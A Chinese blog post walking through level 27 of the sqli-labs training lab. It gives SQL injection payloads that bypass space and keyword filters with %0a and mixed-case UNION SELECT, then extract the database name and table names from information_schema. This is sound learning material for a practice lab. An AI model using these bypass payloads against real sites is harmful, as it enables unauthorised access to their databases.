zoukankan      html  css  js  c++  java
  • sqli-labs(27)

    0X01

    先查询闭合

    ?id=1' 报错 
    ?id=1'' 正确

    知道是’的闭合语句

    0X02那么开始我们的注入之旅

    空格过滤了 尝试一下%0a绕过  #也被过滤了 那么用and '1'='1构造闭合

    ?id=1'||'1'='1

    显示正确 

    我们来爆一下数据名称  哦豁 union select 被过滤了

    /?id=1'%0Aunion%0Aselect%0A1,database(),3||'1'='1

    那我们绕过看看行吗? double

    ?id=1'%0Auniunionon%0Aseselectlect%0A1,database(),3||'1'='1

    不得行不得行 那我们怎么绕过呀? 可以偷偷看看源码

     正则表达式

    PHP语法

    正则表达式

    PHP正则表达式的模式修饰符(官方文档)
    PHP正则中的i,m,s,x,e

    • i
      如果设定了此修正符,模式中的字符将同时匹配大小写字母。
    • m
      如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。
    • s
      如果设定了此修正符,模式中的圆点元字符.匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。
    • x
      如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#以及下一个换行符之间的所有字符,包括两头,也都被忽略。
    • e
      如果设定了此修正符,preg_replace()在替换字符串中对逆向引用作正常的替换。
    • ?
      ./+/*之后表示非贪婪匹配,./+/*限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?就可以实现非贪婪或最小匹配。
    那么我们继续构造
    爆数据库 这里 正则过滤了-号所以不能用-1
    ?id=999'%0AUNion%0ASElEct%0A1,database(),3||'1'='1

    0X02爆表名

    ?id=999'%0AUNion%0ASElEct%0A1,(SELEct%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Alimit%0A0,1),3||'1'='1

    这里剩下的操作就是一套组合拳了

    那么 我们进行一下总结吧

    1 这里空格%0a代替 不知道26a和26关为什么不行

    2这里正则表达式是只要你含有 就会一直匹配 双写不能绕过

    3当-1不能用的时候 随便用一个错误的值把显示的位置让出来 给你要的数据

    4 学习之路 少就是多 慢就是快

    加油

  • 相关阅读:
    *** 实现冒泡排序模板
    *** 实现stack模板
    python uses xml
    [转]给未来的电子通信工程师
    *** strRevert.cpp
    *** strlen.cpp
    *** checkRevStr.cpp 查看字符串是否是回文
    *** 自己代码:实现字符串比较
    *** 自写代码:查找两个字符串的最大公共子串
    *** 自写代码:在字符串中插入连续字符的个数
  • 原文地址:https://www.cnblogs.com/-zhong/p/10941074.html
Copyright © 2011-2022 走看看